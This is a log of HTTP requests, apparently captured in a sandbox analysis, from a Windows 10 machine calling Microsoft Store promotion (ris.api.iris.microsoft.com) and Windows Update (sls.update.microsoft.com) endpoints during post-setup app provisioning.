Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130649Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130652Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130654Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130655Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130657Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130658Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130701Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T130704Z&asid=e1b72f61ecf5467db221cff271cebea5&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130715Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130716Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130724Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130725Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130726Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130727Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130728Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130729Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T130729Z&asid=cb427c3110944a4099abc709f1b248ce&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=948994566&PG=PC000P0FR5.0000000IRT&REQASID=99BA276E021E43218B340DF12ECC0372&UNID=338388&ASID=c035acaa03324794bfb52199a4c0161a&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=144e32d9976d4d15a22eb3ffcf9ce6f5&DEVOSVER=10.0.17134.1&REQT=20220720T040636&TIME=20220720T130714Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=948994566&PG=PC000P0FR5.0000000IRT&REQASID=99BA276E021E43218B340DF12ECC0372&UNID=338388&ASID=c035acaa03324794bfb52199a4c0161a&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=144e32d9976d4d15a22eb3ffcf9ce6f5&DEVOSVER=10.0.17134.1&REQT=20220720T040636&TIME=20220720T130717Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130753Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130754Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130755Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130756Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130800Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130801Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130802Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130802Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130803Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130804Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130804Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130805Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130806Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
